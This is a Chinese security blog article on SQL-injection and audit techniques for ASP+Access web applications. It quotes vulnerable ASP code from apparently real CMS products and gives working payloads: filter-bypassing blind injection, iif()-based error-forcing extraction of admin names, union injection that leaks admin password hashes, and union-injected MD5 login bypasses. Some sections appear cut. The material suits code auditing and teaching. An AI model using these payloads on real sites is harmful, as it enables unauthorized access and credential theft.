随着web安全的热点升级,web应用程序的代码安全问题也逐步兴盛起来,越来越多的安全人员投入到这个领域,越来越多的应用程序代码 漏洞被披露。相对而言,研究asp应用程序的代码安全的人少了很多,毕竟asp不够php那样灵活多变,漏洞类型无非那么几种,本文将分享一些个人收集总结基于ASP+ACCESS环境的SQL注射及审计小技巧,当然肯定还有很多技巧,欢迎补充,抛砖引玉嘛~。 0x01 当盲注遭遇过滤“<”、“>”、“=”时 曾读过一些asp系统的代码,有些程序员对于防御SQL注入采用的方法是仅仅过滤“<”、“>”、“=”以及单引号等字符来达到无法猜解数据的目的,殊不知这样的过滤有多种绕过方法,首先想到的是利用“between and”,当然这里不讨论“between and”,给出另外一种小技巧,如以下的SQL语句: select * from table where id=SQL 其中的SQL是我们可以构造的部分,同时这个页面对于获取的参数过滤“<”、“>”、“=”并且无法利用union来注射,在不利用“between and”的情况下,我们这样构造: select * from table where id=1 and (select asc(mid(username,1,1)) from admin where asc(mid(username,1,1)) in(97)) 利用in()来达到判断的目的,语句为判断管理员用户名的第一个字符是否为a,其中的97为字符a的ascii编码。 set rs = server.createobject("adodb.recordset") sql="select * from Southidc_"&request("Range")&"Sort where ViewFlag and ParentID="&ParentID&" order by ID asc" rs.open sql,conn,1,1 if conn.execute("select ID from Southidc_"&request("Range")&"Sort Where ViewFlag and ParentID=0").eof then response.write "暂无相关信息" else do while not rs.eof 细心的朋友一眼就能发现注射点,request(“Range”)带入了两句SQL,注射点比较特殊,可以提交表名,但是因为带入了两句SQL语句,所以利用起来比较麻烦,因为access数据库没有注释符,所以必须用union联合查询来闭合,但是因为带入了两句SQL语句,联合查询在执行: select ID from Southidc_"&request("Range")&"Sort Where ViewFlag and ParentID=0 会出现字段数不符报错,因为“select ID from Southidc_”查询的是一个字段,而上一句SQL“select * from Southidc_”查询的是多个字段,因此,无论我们如何构造SQL语句,都没办法使字段数相等,这里我们利用access的iif()函数来强制报错,当查询为真时,会出现字段数不符报错,查询为假时利用iif()函数强制报错爆出另外一个错误,就可以进行盲注判断了。比如提交Range为: NewsSort where 2=iif((1=1),2,'a') union select * from Southidc_News 把其中的1=1换成SQL注入语句就可以了,比如提交Range为: NewsSort where 2=iif(((select top 1 asc(mid(AdminName,1,1)) from [Southidc_Admin])=97),2,'a') union select * from Southidc_News 这个时候报错,如图1: 判断管理员用户名第一个字符是否为a,如果查询为真,就会报错如上图,如果为假,比如我们提交: NewsSort where 2=iif(((select top 1 asc(mid(AdminName,1,1)) from [Southidc_Admin])=98),2,'a') union select * from Southidc_News 就会报出另外一个我们利用iif函数强制报错爆出的错误,如图2。 2=’a’强制类型转换当然会报错了……“标准表达式中数据类型不匹配”。 <% Server.ScriptTimeout=20 Response.Charset="gb2312" scid=Request("scid") if scid<>"" Then set Frs=lodo_Execute("Select Lodo_ShopingCar.Gid as Gid,Lodo_ShopingCar.GQuantity as GQuantity,Lodo_OrderForm.OrderState as OrderState,Lodo_OrderForm.OrderPayState as OrderPayState,Lodo_OrderForm.Ordernumber as Ordernumber from Lodo_ShopingCar,Lodo_OrderForm where Lodo_OrderForm.Ordernumber=Lodo_ShopingCar.OrderNum And Lodo_ShopingCar.ID="&scid) If Not(Frs.Eof Or Frs.Bof) Then '判断是否支付 if Frs("OrderState")=4 Or Frs("OrderState")=5 Or Frs("OrderPayState")=1 Then Response.Write "
注意到其中的一句代码: if Frs("OrderState")=4 Or Frs("OrderState")=5 Or Frs("OrderPayState")=1 Then 把数据库中的数据Frs(“OrderState”)拿去和4做比较!这样导致的问题是,如果我们通过union查询注入,通过Frs(“OrderState”)返回的结果,当执行到Frs(“OrderState”)=4时,程序会报错,同时微软很友好的把报错的数据也显示出来,比如上面的SQL,我们提交scid为: 1 union select 1,2,adminpass,4,5 from lodo_adminuser 通过控制Frs(“OrderState”)返回结果为管理员密码hash,当执行到Frs(“OrderState”)=4时,页面会报错,如图3。 这样的代码虽然见的不多,但还是有的,这也是其鸡肋之处。 0x04 “on error resume next”引发的血案 conn.asp: <% on error resume next connstr = "Provider=microsoft.jet.oledb.4.0;data source="&server.MapPath("inc/db.mdb") set conn = server.CreateObject("adodb.connection") conn.open connstr %> 接着看到test.asp的代码: <% id = request("id") id = cint(id) set rs = server.CreateObject("adodb.recordset") sql = "select * from news where id="&id rs.open sql,conn,1,3 response.write rs("news") rs.close set rs = nothing %> <%set conn = nothing%> 这段代码看似没有漏洞,其实是存在SQL注入的,原因是如果conn.asp没有添加“on error resume next”容错语句的话,我们提交的id如果不为int型,test.asp页面会报错并终止执行,但如果conn.asp有“on error resume next”容错语句,test.asp页面不会报错,而是跳过id = cint(id)报错语句继续执行!最终导致的结果是,过滤失效,SQL注入、逻辑漏洞等等问题。 sql = "select * from admin where UserName='"&username&"' And PassWord='"& password &"'" 其中的username变量和password变量可控,当我们提交username为“’ or ”=’”,密码任意时可以直接绕过验证登陆系统,为了应对此类漏洞,很多程序员采用下面的写法: <% dim LoginName,LoginPassword,AdminName,Password,AdminPurview,Working,UserName,rs,sql,mycode LoginName=trim(request.form("LoginName")) LoginPassword=Md5(request.form("LoginPassword")) mycode = trim(request.form("code")) set rs = server.createobject("adodb.recordset") sql="select * from admin where AdminName='"&LoginName&"'" rs.open sql,conn,1,3 if rs.eof then response.write "" response.end else AdminName=rs("AdminName") Password=rs("Password") AdminPurview=rs("AdminPurview") Working=rs("Working") UserName=rs("UserName") end if if LoginPassword<>Password then response.write "" response.end end if ‘登陆成功代码省略 ' union select 1,2,'268a5c2004f54de708ee2ce0dac3c411',4,5,6 from admin where '1'='1 密码为:my5t3ry就可以直接登陆系统了,其中268a5c2004f54de708ee2ce0dac3c411为my5t3ry的 MD5 加密hash,union select 后的字段数要与admin表匹配,Password在表中的第3列,因此替换3为MD5,通过SQL注入控制rs(“Password”)的返回结果,实现了“新型万能密码”。 select(id)from[table]where[id]=1 这样就避免了空格,另外在 mssql下还可以用%09、%0D0A等字符来替代空格,access也是可行的。 |
-
上一篇: 逐浪CMS通用型SQL注入8+9(select型) – 网站安全
下一篇: 我是这样挖掘x-forwarded-for注入到成功注射的 – 网
评论前必须登录!
立即登录